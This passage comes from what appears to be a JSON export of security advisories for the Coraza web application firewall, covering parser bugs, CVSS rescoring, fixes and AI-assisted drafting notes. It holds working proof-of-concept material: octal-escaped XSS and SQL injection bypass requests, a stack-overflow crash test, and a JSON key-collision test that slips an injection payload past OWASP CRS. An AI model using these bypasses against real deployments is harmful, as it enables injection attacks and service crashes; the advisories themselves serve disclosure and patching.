CWE-436 — Interpretation Conflict\n\n### Severity (revised 2026-10-02)\n\n`CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:N` (4.0, Medium).\n\nAttack Complexity stays High: the bypass only applies to integrations that pass Coraza a raw URI that Go's URL parser rejects, which `net/http` does not. The previous vector scored Integrity High (6.8); it is scored here like Coraza's other inspection bypasses.\n\nImpact metrics follow the convention used across Coraza's WAF-bypass advisories: the vulnerable component is Coraza, but the impact lands on the protected application, so Scope is Changed. The bypass hides a payload from inspection; the application still has to be vulnerable to it, so Integrity is Low and Confidentiality is not scored separately.\n\n_AI involvement in this section: Claude Opus 5.5 (Anthropic), via Claude Code, re-derived the CVSS vector from the project's triage guidance (AGENTS.md, \"CVSS preconditions get verified, not copied from the report\") and drafted this text. A human maintainer (fzipi) chose the `S:C/I:L` impact convention and directed this update._","cveId":null,"cvssScore":null,"cvssVector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:N","severity":"medium","vendor":"Go","product":"github.com/corazawaf/coraza/v3","affectedVersions":["pkg:golang/github.com/corazawaf/coraza/v3 >= 3.0.0, < 3.8.0"],"cwes":["CWE-20","CWE-436"],"tags":["osv","osv:ghsa-x26q-wvhg-fh4m","ecosystem:go"],"relatedCves":[],"titleFingerprint":null,"countryCodes":[],"knownExploited":false,"patchAvailable":false,"patchLinks":[],"references":[{"url":"https://osv.dev/vulnerability/GHSA-x26q-wvhg-fh4m","type":"advisory","title":"OSV GHSA-x26q-wvhg-fh4m"},{"url":"https://github.com/corazawaf/coraza/security/advisories/GHSA-x26q-wvhg-fh4m","type":"other","title":"OSV web"},{"url":"https://github.com/corazawaf/coraza/commit/0321af96cef18fbafb40980cf075d7cc449a66fa","type":"other","title":"OSV web"},{"url":"https://github.com/corazawaf/coraza","type":"vendor","title":"OSV package"},{"url":"https://github.com/corazawaf/coraza/releases/tag/v3.8.0","type":"other","title":"OSV web"}],"epssScore":null,"epssPercentile":null,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-10-08T17:46:00.000Z","addedAt":"2026-10-08T18:42:41.862Z","updatedAt":"2026-10-08T18:42:41.862Z","epssUpdatedAt":null,"nucleiUpdatedAt":null,"links":[{"label":"GitHub Advisory","url":"https://github.com/advisories/GHSA-x26q-wvhg-fh4m"},{"label":"OSV","url":"https://osv.dev/vulnerability/GHSA-x26q-wvhg-fh4m"}]},{"id":"674d7133-282a-442f-8542-962a07bd4c05","slug":"cve-2026-104774","externalId":"GHSA-pc5q-qfxp-ggqv","source":"OSV","sourceType":"ghsa","type":"vulnerability","title":"Coraza: jsDecode Off-by-One in Octal Escape Handling Enables WAF Bypass","description":"### Summary\nThe `t:jsDecode` transformation in Coraza WAF contains an off-by-one error when parsing octal escape sequences. A backslash character was incorrectly included in the octal number buffer, causing `strconv.ParseInt` to fail for every octal escape sequence and return a null byte instead of the decoded value that would normally be returned. This will cause all JS-escaped payloads to be corrupted, thus leading to the bypassing of these WAF rules when WAF rules that rely on `jsDecode` for normalization are enabled.\n\nTherefore, a real-world attack scenario: an attacker could use JavaScript octal escape sequences (`\\ooo`) to encode attack syntax. Although the WAF cannot decode these sequences correctly, the target backend (such as a browser or application) can parse them as expected.\n\n### Details\nVulnerable code: `internal/transformations/js_decode.go:64-70.`\n```go\ncase (i+1 < inputLen) && isodigit(input[i+1]):\n    /* \\OOO (only one byte, \\000 - \\377) */\n    buf := make([]byte, 3)\n    j := 0\n\n    for (i+1+j < inputLen) && (j < 3) {\n        buf[j] = input[i+j]     // this should be `input[i+1+j]`\n        j++\n        if !isodigit(input[i+j]) {\n            break\n        }\n    }\n```\nThis is because, when entering octal mode, the loop variable `i` points to the backslash character `\\`. Before entering octal mode, the pointer **does not** cross the backslash (unlike in the `\\u` and `\\x` cases, where `i+N` is used as the index). Line 65 uses `input[i+j]`, so when `j=0`, the backslash character itself is copied to `buf[0]`. The subsequent call to `strconv.ParseInt(string(buf), 8, 8)` will fail because `\\` is not a valid octal digit; it therefore returns `0` and raises an error (which is silently suppressed by `_`), resulting in the loss of the bytes that were supposed to be decoded.\n\nFor example, Input `\\163`. The loop starts with `j=0`: `buf[0] = input[i+0] = ‘\\’ ` (the backslash itself). The counter `j` is incremented to 1. Since `isodigit(input[i+1]) = isodigit(‘1’)` is true, the loop continues. When `j=1`: `buf[1] = input[i+1] = ‘1’`. The counter increments to 2; `isodigit(input[i+2]) = isodigit(‘6’)` is true. At this point, `j = 2`: `buf[2] = input[i+2] = ‘6’`. The counter increments to 3, at which point the loop condition `j < 3` is no longer satisfied. Final buffer: `buf = [‘\\’, ‘1’, ‘6’]`. The buffer is truncated when `j = 2` (because `buf[0] = ‘\\’ > ‘3’`), leaving `[‘\\’, ‘1’]`.\n\nThis error affects all octal escape sequences (from `\\000` to `\\377`). Each sequence is decoded and displayed as `0x00` instead of the expected value. For example: `\\377` is normally decoded as `\\xff` or 255\n\n```go\n// Bug: buf = ['\\', '3', '7'] to string(buf) = \"\\\\37\"\nnn, _ = strconv.ParseInt(\"\\\\37\", 8, 8)  // nn = 0\n// Correct: buf = ['3', '7', '7'] = \"377\"\nnn, _ = strconv.ParseInt(\"377\", 8, 8)   // nn = 255 = 0xFF\n```\n\n### PoC\n#### Test Environment\nCoraza WAF v3.7.0 is configured to `127.0.0.1:8090`, `SecRuleEngine` is set to `On`, `SecRequestBodyAccess` is set to `On`, and the complete OWASP CRS rule set has been loaded.\n\n#### PoC Executable Script\n```python\n#!/usr/bin/env python3\nimport urllib.request, sys\n\nTARGET = sys.argv[1] if len(sys.argv) > 1 else \"http://127.0.0.1:8090\"\n\nnormal_url = f\"{TARGET}/?q=%3Cscript%3E\"\noctal_url = f\"{TARGET}/?q=%3C%5C163%5C143%5C162%5C151%5C160%5C164%3E\"\n\nprint(f\"[Normal XSS: {normal_url}\")\ntry:\n    urllib.request.urlopen(normal_url)\n    print(\"  Response: 200 \")\nexcept urllib.error.HTTPError as e:\n    print(f\"  Response: {e.code}\")\n\nprint(f\"\\nBypass JS octal-escaped XSS: {octal_url}\")\ntry:\n    urllib.request.urlopen(octal_url)\n    print(\"  Response: 200 (BYPASS)\")\nexcept urllib.error.HTTPError as e:\n    print(f\"  Response: {e.code}\")\n```\noutput:\n```\n  Normal XSS: http://127.0.0.1:8090/?q=%3Cscript%3E\n  Response: 403\n Bypass JS octal-escaped XSS: http://127.0.0.1:8090/?q=%3C%5C163%5C143%5C162%5C151%5C160%5C164%3E\n  Response: 200 (BYPASS)\n```\n\n#### Proof\n- Normal Test\n```bash\n curl -v -s \"http://127.0.0.1:8090/?q=%3Cscript%3E\"\n< HTTP/1.1 403 Forbidden\n< Date: Wed, 01 Jul 2026 16:09:04 GMT\n```\n- Bypass Test\n```\n curl -v -s \"http://127.0.0.1:8090/?q=%3C%5C163%5C143%5C162%5C151%5C160%5C164%3E\"\n< HTTP/1.1 200 OK\n< Date: Wed, 01 Jul 2026 16:09:04 GMT\n< Content-Length: 39\n< Hello world, transaction not disrupted.\n```\n- Log Proof\n```\n2026/07/01 16:09:04 [DEBUG] Transaction finished tx_id=\"<txid>\" is_interrupted=false\n```\n\n### Impact\nAttackers can bypass WAFs that rely on the `t:jsDecode` transformation rule, leading to cross-site scripting (XSS), SQL injection, or other malicious activities.\n#### Real-world attack scenarios:\n**SQL injection bypass.** A rule using `t:jsDecode` received `\\47\\117\\122\\40\\61\\75\\61` (i.e., `' OR 1=1`). This octal string decodes to `\\0...`, so the rule did not match the SQL injection pattern.\n\n### Affected Versions\nCoraza WAF v3.0.0 - v3.7.0\n\n### Resolution\nFixed in `internal/transformations/js_decode.go`'s `\\OOO` octal branch, plus two related issues found and fixed while verifying the patch — the actual shipped fix is broader than the single-line change originally proposed:\n\n1. **The reported off-by-one** (`buf[j] = input[i+j]` → `buf[j] = input[i+1+j]`, with the digit-continuation check updated to `input[i+1+j]` accordingly): confirmed and fixed exactly as described above.\n2. **A related high-byte clamping bug in the same branch**: the decoded value was parsed with `strconv.ParseInt(string(buf), 8, 8)` — a *signed* 8-bit parse. Octal values `\\200`-`\\377` (decimal 128-255) exceed the signed int8 range, so even after fixing the indexing bug, those high bytes would still fail to parse and clamp to `0x7f` instead of their real value. Fixed by parsing as unsigned (`strconv.ParseUint(string(buf), 8, 8)`), so the full `\\000`-`\\377` range decodes correctly.\n3. **A related overflow-saturation bug in the sibling `escapeSeqDecode` transformation** (`internal/transformations/escape_seq_decode.go`), discovered while auditing the same octal-parsing pattern elsewhere in the codebase. Unlike `jsDecode`, `escapeSeqDecode`'s indexing was already correct, but it parsed octal values with `strconv.ParseUint(input[i+1:i+j], 8, 8)` — an 8-bit-wide unsigned parse. Since up to 3 octal digits are consumed (`\\0`-`\\777`, i.e. up to decimal 511), any value above `\\377` (255) overflows 8 bits, causing `strconv.ParseUint` to return an error and a saturated value of `0xFF` for every one of those escapes, rather than correctly wrapping to its low byte (mirroring ModSecurity's `strtol(...) & 0xFF` reference behavior). Fixed by widening the parse to 16 bits (`strconv.ParseUint(input[i+1:i+j], 8, 16)`) before truncating to a byte, so `\\400`-`\\777` now wrap to their correct low-byte value instead of all saturating to `0xFF`.\n\nVerified end-to-end: both PoC payloads from this report now decode correctly —\n`<\\163\\143\\162\\151\\160\\164>` → `<script>`, and `\\47\\117\\122\\40\\61\\75\\61` → `'OR 1=1` — so a downstream WAF rule inspecting the transformed value now sees the real, intended content instead of null bytes or clamped/saturated garbage.\n\nExtensive regression tests were added covering the full octal range (including the `\\200`-`\\377` high-byte range and the `\\400`-`\\777` overflow range for `escapeSeqDecode`), the pre-existing digit-count/truncation edge cases, and both PoC payloads verbatim.\n\n### Mitigation\nUpgrade to the patched release once available. If upgrading isn't immediately possible, the specific code change is:\n\n```go\nfor (i+1+j < inputLen) && (j < 3) {\n    buf[j] = input[i+1+j]\n    j++\n    if i+1+j >= inputLen || !isodigit(input[i+1+j]) {\n        break\n    }\n}\n...\nnn, _ := strconv.ParseUint(string(buf), 8, 8)\n```\n\n### Severity (revised 2026-10-02)\n\n`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N` (5.8, Medium).\n\nAttack Complexity is Low: JavaScript engines decode legacy octal escapes in non-strict string literals (ECMAScript Annex B), the standard behaviour `jsDecode` emulates, so the request alone triggers the discrepancy. The previous vector (`S:U/C:L/I:L`, 6.5) scored Confidentiality and Integrity separately for what is a single inspection bypass.\n\nImpact metrics follow the convention used across Coraza's WAF-bypass advisories: the vulnerable component is Coraza, but the impact lands on the protected application, so Scope is Changed. The bypass hides a payload from inspection; the application still has to be vulnerable to it, so Integrity is Low and Confidentiality is not scored separately.\n\n_AI involvement in this section: Claude Opus 5.5 (Anthropic), via Claude Code, re-derived the CVSS vector from the project's triage guidance (AGENTS.md, \"CVSS preconditions get verified, not copied from the report\") and drafted this text. A human maintainer (fzipi) chose the `S:C/I:L` impact convention and directed this update._","cveId":"CVE-2026-104774","cvssScore":null,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N","severity":"medium","vendor":"Go","product":"github.com/corazawaf/coraza/v3","affectedVersions":["pkg:golang/github.com/corazawaf/coraza/v3 >= 3.0.0, < 3.8.0"],"cwes":["CWE-172","CWE-193","CWE-693"],"tags":["osv","osv:ghsa-pc5q-qfxp-ggqv","ecosystem:go"],"relatedCves":[],"titleFingerprint":null,"countryCodes":[],"knownExploited":false,"patchAvailable":false,"patchLinks":[],"references":[{"url":"https://osv.dev/vulnerability/GHSA-pc5q-qfxp-ggqv","type":"advisory","title":"OSV GHSA-pc5q-qfxp-ggqv"},{"url":"https://github.com/corazawaf/coraza/security/advisories/GHSA-pc5q-qfxp-ggqv","type":"other","title":"OSV web"},{"url":"https://github.com/corazawaf/coraza/commit/f9b7afdbcedce7ad814663eaee2e342578ea3bb2","type":"other","title":"OSV web"},{"url":"https://github.com/corazawaf/coraza","type":"vendor","title":"OSV package"},{"url":"https://github.com/corazawaf/coraza/releases/tag/v3.8.0","type":"other","title":"OSV web"}],"epssScore":null,"epssPercentile":null,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-10-08T17:45:53.000Z","addedAt":"2026-10-08T18:42:41.937Z","updatedAt":"2026-10-08T18:42:41.937Z","epssUpdatedAt":null,"nucleiUpdatedAt":null,"links":[{"label":"NVD","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-104774","note":"may still be awaiting NVD analysis"},{"label":"CVE Program","url":"https://www.cve.org/CVERecord?id=CVE-2026-104774","note":"authoritative record"},{"label":"GitHub Advisory","url":"https://github.com/advisories/GHSA-pc5q-qfxp-ggqv"},{"label":"OSV","url":"https://osv.dev/vulnerability/GHSA-pc5q-qfxp-ggqv"}]},{"id":"8d8c629b-f932-4b12-976c-1b4817e1853a","slug":"ghsa-6gcq-wc29-5xf2","externalId":"GHSA-6gcq-wc29-5xf2","source":"OSV","sourceType":"ghsa","type":"vulnerability","title":"Coraza JSON body processor: argument-limit truncation reopens an unbounded-depth gjson.Valid stack overflow (process crash)","description":"### Summary\n\nThe JSON body processor (`internal/bodyprocessors/json.go`) can be made to\ncrash the whole process with an unrecoverable `fatal error: stack overflow`,\nusing a request body that is well under the recommended `SecRequestBodyLimit`\nand the default `SecArgumentsLimit`.\n\n### Root cause\n\n`readJSON` (json.go:113-143) runs a bounded, best-effort flattening walk\n(`readItems`) and *afterwards* calls `gjson.Valid(s)` on the raw body if\n`readItems` returned no error:\n\n```go\njson := gjson.Parse(s)\n...\ntruncated, err = readItems(json, key, maxRecursion, argumentLimit, byteBudget, &usedBytes, &argCount, res)\nif err != nil {\n    return res, truncated, err\n}\nif !gjson.Valid(s) {\n    return res, truncated, errors.New(\"invalid JSON\")\n}\n```\n\n`gjson.Valid` (gjson v1.18.0, `validany` -> `validarray`/`validobject`) recurses\nonce per nesting level with **no depth bound**. `readItems` does have a depth\nbound (`maxRecursion`), enforced here (json.go:163-182):\n\n```go\nfunc readItems(json gjson.Result, objKey []byte, maxRecursion int, argumentLimit int, byteBudget int, usedBytes *int, argCount *int, res map[string][]string) (truncated bool, err error) {\n    if byteBudget > 0 && *usedBytes >= byteBudget {\n        return true, nil                 // <-- checked first\n    }\n    if argumentLimit > 0 && *argCount >= argumentLimit {\n        return true, nil                 // <-- checked second\n    }\n    ...\n    if maxRecursion <= 0 {\n        return false, errors.New(\"max recursion reached while reading json object\")\n    }\n```\n\nThe byte-budget and argument-limit checks run *before* the recursion-depth\ncheck, and they short-circuit the walk with `truncated=true, err=nil` instead\nof recursing further. If the configured `SecArgumentsLimit`\n(`ArgumentLimit`, default 1000, `internal/corazawaf/waf.go:359`) is reached by\nearlier, shallow values in the document, `readItems` stops walking *before it\never reaches* a deeply nested tail later in the same document — so the\n`maxRecursion` error is never produced, `err` comes back `nil`, and `readJSON`\nfalls through to the unconditional `gjson.Valid(s)` call on the complete raw\nbody, including the part `readItems` never visited.\n\nThis is not a new interaction with the recursion limit itself: at v3.7.0,\n`gjson.Valid` ran unconditionally before any recursion check at all, so a\nplain deeply-nested body crashed the process directly. A later fix added a\ndepth check that returns an error before `Valid` runs for the *straightforward*\ncase (nesting reached before any other guard fires). The argument-limit /\nbyte-budget guards added since then (GHSA-6r3q-mjv7-xr8m,\nGHSA-3ww9-vw83-9w5x) reopened the same crash for the case above, because they\nshort-circuit the walk (and therefore the recursion counter) ahead of the\ndepth check, on both the request and response body path (`ProcessResponse`\ncalls the same `readJSON`, json.go:57-88).\n\nBecause this is `fatal error: stack overflow`, not a `panic`, it is **not**\nrecoverable by any `recover()` in the calling goroutine — the process\nterminates unconditionally.\n\n### PoC\n\n```go\npackage bodyprocessors\n\nimport (\n    \"strings\"\n    \"testing\"\n)\n\nfunc TestStackOverflowRepro(t *testing.T) {\n    body := \"[\" + strings.Repeat(\"1,\", 1000) + strings.Repeat(\"[\", 13_000_000)\n    // 13,002,001 bytes total: under the recommended SecRequestBodyLimit\n    // (13107200, coraza.conf-recommended:78) and default ArgumentLimit (1000,\n    // internal/corazawaf/waf.go:359).\n    _, _, _ = readJSON(body, 20, 1000)\n}\n```\n\n```\n$ go test -run TestStackOverflowRepro ./internal/bodyprocessors/ -v\nruntime: goroutine stack exceeds 1000000000-byte limit\nfatal error: stack overflow\n...\ngithub.com/tidwall/gjson.validarray(...)\n\t.../gjson@v1.18.0/gjson.go:2584\ngithub.com/tidwall/gjson.validany(...)\n\t.../gjson@v1.18.0/gjson.go:2499\ngithub.com/tidwall/gjson.validarray(...)\n\t.../gjson@v1.18.0/gjson.go:2589\n... (repeats until the goroutine stack limit is hit)\n```\n\nReproduced against commit `19b86824` (tag `v3.8.0`), both by calling\n`readJSON` directly and end-to-end through the recommended\n`coraza.conf-recommended` configuration (JSON `Content-Type`, default\n`SecArgumentsLimit`, recommended `SecRequestBodyLimit`).\n\n### Impact\n\nAn unauthenticated attacker who can send an HTTP request body (any endpoint\nprotected by Coraza with the JSON body processor enabled, which is the\ndefault for `application/json`) can crash the entire host process with a\nsingle request, using a payload well within default and recommended body\nsize and argument-count limits. There is no privilege or interaction\nrequirement, and the crash cannot be caught or mitigated by the integrator\n(no `recover()` stops a stack-overflow fatal error). This is strictly worse\nthan a CPU-exhaustion or slow-request DoS: the process must be restarted, and\nevery in-flight request/transaction on that process is lost.\n\n### Suggested fix\n\nRun an iterative, explicitly-bounded-depth pre-scan (or reuse `readItems`'s\nown recursion accounting) before calling `gjson.Valid`, and never call\n`gjson.Valid` on input whose nesting exceeds `maxRecursion`. The response\npath (`ProcessResponse`) needs the same treatment since it shares `readJSON`.\n\n### AI involvement disclosure\n\n- **AI tools/models used:** Claude Sonnet 5 (Anthropic), via Claude Code.\n- **What was generated/assisted:** the initial vulnerability hypothesis and\n  repro shape were supplied by the reporter as an existing written finding;\n  Claude Sonnet 5 independently re-derived the root cause by reading the\n  current source, wrote and ran a fresh PoC test against commit `19b86824`\n  (tag `v3.8.0`), confirmed the crash and stack trace shown above, verified\n  the default configuration values cited (`ArgumentLimit` default,\n  `SecRequestBodyLimit` recommended value) against the current source, and\n  drafted this advisory text.\n- **Review performed:** reproduced by hand by running the PoC test above with\n  `go test -run TestStackOverflowRepro ./internal/bodyprocessors/ -v` against\n  a clean checkout of commit `19b86824`; observed the `fatal error: stack\n  overflow` and stack trace through `gjson.validarray`/`validany`; traced\n  `readJSON`/`readItems` line by line to confirm the guard ordering described\n  above; the PoC was reviewed by a human maintainer (fzipi) before\n  submission of this advisory.","cveId":null,"cvssScore":null,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","severity":"high","vendor":"Go","product":"github.com/corazawaf/coraza/v3","affectedVersions":["pkg:golang/github.com/corazawaf/coraza/v3 >= 3.0.0, < 3.8.1"],"cwes":["CWE-674"],"tags":["osv","osv:ghsa-6gcq-wc29-5xf2","ecosystem:go"],"relatedCves":[],"titleFingerprint":null,"countryCodes":[],"knownExploited":false,"patchAvailable":false,"patchLinks":[],"references":[{"url":"https://osv.dev/vulnerability/GHSA-6gcq-wc29-5xf2","type":"advisory","title":"OSV GHSA-6gcq-wc29-5xf2"},{"url":"https://github.com/corazawaf/coraza/security/advisories/GHSA-6gcq-wc29-5xf2","type":"other","title":"OSV web"},{"url":"https://github.com/corazawaf/coraza/commit/814e1898e083d2ff2ceb644382d0da17e930f93f","type":"other","title":"OSV web"},{"url":"https://github.com/corazawaf/coraza","type":"vendor","title":"OSV package"},{"url":"https://github.com/corazawaf/coraza/releases/tag/v3.8.1","type":"other","title":"OSV web"}],"epssScore":null,"epssPercentile":null,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-10-08T17:45:46.000Z","addedAt":"2026-10-08T18:42:42.076Z","updatedAt":"2026-10-08T18:42:42.076Z","epssUpdatedAt":null,"nucleiUpdatedAt":null,"links":[{"label":"GitHub Advisory","url":"https://github.com/advisories/GHSA-6gcq-wc29-5xf2"},{"label":"OSV","url":"https://osv.dev/vulnerability/GHSA-6gcq-wc29-5xf2"}]},{"id":"43c75833-2492-4e9f-abd9-daa94e9b859d","slug":"ghsa-5gj4-9gm7-2fx2","externalId":"GHSA-5gj4-9gm7-2fx2","source":"OSV","sourceType":"ghsa","type":"vulnerability","title":"Coraza body processor has a JSON key collision that allows unauthenticated attackers to bypass OWASP CRS inspection","description":"### Summary\n\nCoraza's JSON body processor converts nested JSON properties into dot-separated `ARGS_POST` names without escaping dots contained in literal property names. Two distinct JSON properties can therefore collapse into the same Coraza variable\n\nAn unauthenticated attacker can place a malicious value in a nested property and then overwrite only Coraza's representation with a harmless dotted property:\n\n```json\n{\n  \"account\": {\n    \"role\": \"1' OR '1'='1\"\n  },\n  \"account.role\": \"safe\"\n}\n```\n\nCoraza stores both properties as `ARGS_POST:json.account.role`; the later value `safe` replaces the SQL-injection value. Standard backend JSON parsers preserve the two distinct properties and expose the malicious nested value as `account.role`.\n\nThis bypasses the complete current OWASP Core Rule Set (CRS) for the hidden value. In the supplied control-pair PoC, CRS v4.25 blocks the nested SQL-injection value with rule `949110`. Adding the dotted decoy makes the same attack pass with no interruption, while Go's standard JSON parser still returns the malicious nested value.\n\n### Details\n\nThe affected component is the JSON body processor in [`internal/bodyprocessors/json.go`](https://github.com/corazawaf/coraza/blob/db9850b2dd8992f97a8cefe08d0cb4edd966a04c/internal/bodyprocessors/json.go#L21-L48).\n\n`readJSON` creates a single `map[string]string` and begins every generated path with `json`:\n\n```go\nfunc readJSON(s string, maxRecursion int) (map[string]string, error) {\n    res := make(map[string]string)\n    key := []byte(\"json\")\n\n    json := gjson.Parse(s)\n    err := readItems(json, key, maxRecursion, res)\n    // ...\n}\n```\n\nSource: [`internal/bodyprocessors/json.go`, lines 81-94](https://github.com/corazawaf/coraza/blob/db9850b2dd8992f97a8cefe08d0cb4edd966a04c/internal/bodyprocessors/json.go#L81-L94).\n\nFor every object level, `readItems` appends a literal dot followed by the unescaped property name:\n\n```go\nprevParentLength := len(objKey)\nobjKey = append(objKey, '.')\nif key.Type == gjson.String {\n    objKey = append(objKey, key.Str...)\n}\n```\n\nSource: [`internal/bodyprocessors/json.go`, lines 111-120](https://github.com/corazawaf/coraza/blob/db9850b2dd8992f97a8cefe08d0cb4edd966a04c/internal/bodyprocessors/json.go#L111-L120).\n\nScalar values are stored in the map using the resulting flattened string:\n\n```go\nres[string(objKey)] = val\n```\n\nSource: [`internal/bodyprocessors/json.go`, lines 122-145](https://github.com/corazawaf/coraza/blob/db9850b2dd8992f97a8cefe08d0cb4edd966a04c/internal/bodyprocessors/json.go#L122-L145).\n\nThis produces a collision:\n\n```text\nNested property:       {\"account\":{\"role\":\"ATTACK\"}}\nGenerated Coraza key:  json.account.role\n\nLiteral dotted key:    {\"account.role\":\"SAFE\"}\nGenerated Coraza key:  json.account.role\n```\n\nBecause both values use the same Go map key, the property appearing later in the JSON document overwrites the earlier value. The malicious value no longer exists anywhere in the ordinary `ARGS_POST` collection.\n\n`ProcessRequest` subsequently copies only the final map entries into `ARGS_POST`:\n\n```go\ndata, err := readJSON(ss, bpo.RequestBodyRecursionLimit)\nfor key, value := range data {\n    col.SetIndex(key, 0, value)\n}\n```\n\nSource: [`internal/bodyprocessors/json.go`, lines 29-39](https://github.com/corazawaf/coraza/blob/db9850b2dd8992f97a8cefe08d0cb4edd966a04c/internal/bodyprocessors/json.go#L29-L39).\n\nThe JSON remains valid, so Coraza does not set `REQBODY_ERROR`. A normal backend parser does not flatten property names and therefore keeps the nested `account.role` value separate from the literal top-level `\"account.role\"` property.\n\nCoraza's [recommended configuration enables JSON processing](https://github.com/corazawaf/coraza/blob/db9850b2dd8992f97a8cefe08d0cb4edd966a04c/coraza.conf-recommended#L20-L45), and OWASP CRS rules inspect the generated argument collection. This makes the issue reachable in a standard Coraza and CRS deployment.\n\nThe bypass was reproduced against CRS v4.25 under all of the following configurations:\n\n- Default build\n- `coraza.no_memoize`\n- `coraza.rule.multiphase_evaluation`\n- `coraza.rule.no_regex_multiline`\n\n### PoC\n\nThe PoC uses Coraza's existing CRS regression module and its pinned `github.com/corazawaf/coraza-coreruleset/v4` dependency. It proves three facts:\n\n1. CRS blocks the malicious nested value when no collision exists.\n2. The dotted decoy makes the same CRS configuration permit the request.\n3. Go's standard JSON parser still exposes the malicious nested value to the backend.\n\n1. Save the following file as `testing/coreruleset/json_collision_security_test.go`:\n\n```go\npackage coreruleset\n\nimport (\n    \"encoding/json\"\n    \"os\"\n    \"path/filepath\"\n    \"strings\"\n    \"testing\"\n\n    \"github.com/corazawaf/coraza/v3\"\n    coreruleset \"github.com/corazawaf/coraza-coreruleset/v4\"\n)\n\nfunc TestJSONFlattenedKeyCollisionBypassesCRS(t *testing.T) {\n    recommended, err := os.ReadFile(\n        filepath.Join(\"..\", \"..\", \"coraza.conf-recommended\"),\n    )\n    if err != nil {\n        t.Fatal(err)\n    }\n\n    cfg := coraza.NewWAFConfig().\n        WithRootFS(coreruleset.FS).\n        WithDirectives(string(recommended)).\n        WithDirectives(\"SecRuleEngine On\").\n        WithDirectives(\"Include @crs-setup.conf.example\").\n        WithDirectives(\"Include @owasp_crs/*.conf\")\n\n    waf, err := coraza.NewWAF(cfg)\n    if err != nil {\n        t.Fatal(err)\n    }\n\n    tests := []struct {\n        name      string\n        body      string\n        wantBlock bool\n    }{\n        {\n            name:      \"attack without collision is blocked\",\n            body:      `{\"account\":{\"role\":\"1' OR '1'='1\"}}`,\n            wantBlock: true,\n        },\n        {\n            name: \"same attack with dotted decoy bypasses CRS\",\n            body: `{\"account\":{\"role\":\"1' OR '1'='1\"},` +\n                `\"account.role\":\"safe\"}`,\n            wantBlock: false,\n        },\n    }\n\n    for _, tt := range tests {\n        t.Run(tt.name, func(t *testing.T) {\n            // Prove what a normal backend sees before running Coraza.\n            var backend struct {\n                Account struct {\n                    Role string `json:\"role\"`\n                } `json:\"account\"`\n            }\n            if err := json.NewDecoder(strings.NewReader(tt.body)).Decode(&backend); err != nil {\n                t.Fatal(err)\n            }\n            if backend.Account.Role != \"1' OR '1'='1\" {\n                t.Fatalf(\"backend lost attack value: %q\", backend.Account.Role)\n            }\n\n            tx := waf.NewTransaction()\n            defer tx.Close()\n\n            tx.ProcessConnection(\"127.0.0.1\", 12345, \"127.0.0.1\", 80)\n            tx.ProcessURI(\"/\", \"POST\", \"HTTP/1.1\")\n            tx.AddRequestHeader(\"Host\", \"localhost\")\n            tx.AddRequestHeader(\"User-Agent\", \"security-test\")\n            tx.AddRequestHeader(\"Content-Type\", \"application/json\")\n\n            if interruption := tx.ProcessRequestHeaders(); interruption != nil {\n                t.Fatalf(\"unexpected header interruption: %#v\", interruption)\n            }\n\n            interruption, _, err := tx.WriteRequestBody([]byte(tt.body))\n            if err != nil || interruption != nil {\n                t.Fatalf(\"body write: interruption=%#v error=%v\", interruption, err)\n            }\n\n            interruption, err = tx.ProcessRequestBody()\n            if err != nil {\n                t.Fatal(err)\n            }\n\n            blocked := interruption != nil\n            t.Logf(\"blocked=%v interruption=%#v\", blocked, interruption)\n            if blocked != tt.wantBlock {\n                t.Fatalf(\"blocked=%v, want %v\", blocked, tt.wantBlock)\n            }\n        })\n    }\n}\n```\n\n2. Run the default-build test:\n\n```bash\ncd testing/coreruleset\ngo test -run TestJSONFlattenedKeyCollisionBypassesCRS -v\n```\n\n3. Expected reproduction output:\n\n```text\n=== RUN   TestJSONFlattenedKeyCollisionBypassesCRS\n=== RUN   TestJSONFlattenedKeyCollisionBypassesCRS/attack_without_collision_is_blocked\n    blocked=true interruption=&types.Interruption{RuleID:949110, Action:\"deny\", Status:403, Data:\"\"}\n=== RUN   TestJSONFlattenedKeyCollisionBypassesCRS/same_attack_with_dotted_decoy_bypasses_CRS\n    blocked=false interruption=(*types.Interruption)(nil)\n--- PASS: TestJSONFlattenedKeyCollisionBypassesCRS\nPASS\n```\n\n4. The build-tag variants can be reproduced with:\n\n```bash\ngo test -tags=coraza.no_memoize -run TestJSONFlattenedKeyCollisionBypassesCRS -v\ngo test -tags=coraza.rule.multiphase_evaluation -run TestJSONFlattenedKeyCollisionBypassesCRS -v\ngo test -tags=coraza.rule.no_regex_multiline -run TestJSONFlattenedKeyCollisionBypassesCRS -v\n```\n\nAll four configurations produced the same result: the control was blocked by CRS rule `949110`, while the collision request passed without interruption.\n\n### Impact\n\nThis is a parser differential and WAF inspection bypass affecting Coraza deployments that inspect JSON, including deployments using the current OWASP Core Rule Set.\n\nAn unauthenticated attacker can hide any malicious nested scalar value by adding a later top-level property whose literal dotted name collides with the path Coraza generates. Coraza and CRS inspect only the harmless replacement value, while backend JSON parsers retain and expose the malicious nested value.\n\nThe primitive is not limited to SQL injection. It removes the attacker-selected value from the collection evaluated by CRS, so it applies to nested values containing:\n\n- SQL injection payloads\n- operating-system command injection payloads\n- cross-site scripting payloads\n- server-side template injection payloads\n- path traversal and local-file-inclusion payloads\n- language- or framework-specific exploit strings\n- forbidden application values inspected by custom SecLang rules\n\nThe PoC demonstrates a stock CRS SQL-injection detection bypass: the same backend-visible attack changes from a 403 denial to an allowed request solely by adding the colliding decoy property.\n\nApplications that deserialize nested JSON objects are impacted. For example, Node.js applications using `JSON.parse` or JSON middleware and Go applications using `encoding/json` preserve the nested malicious value separately from the literal dotted property.\n\nThe final confidentiality, integrity, or availability impact depends on the backend vulnerability that CRS was deployed to mitigate. The Coraza security boundary failure itself is broad and reliable: arbitrary attacker-selected nested JSON values can be removed from normal rule inspection without making the JSON invalid or raising a body-processing error.\n\nThe remediation must make flattened paths unambiguous. Literal property-name separators must be escaped or encoded so that a nested path and a property containing dots cannot produce the same collection key. Coraza should also preserve multiple source values 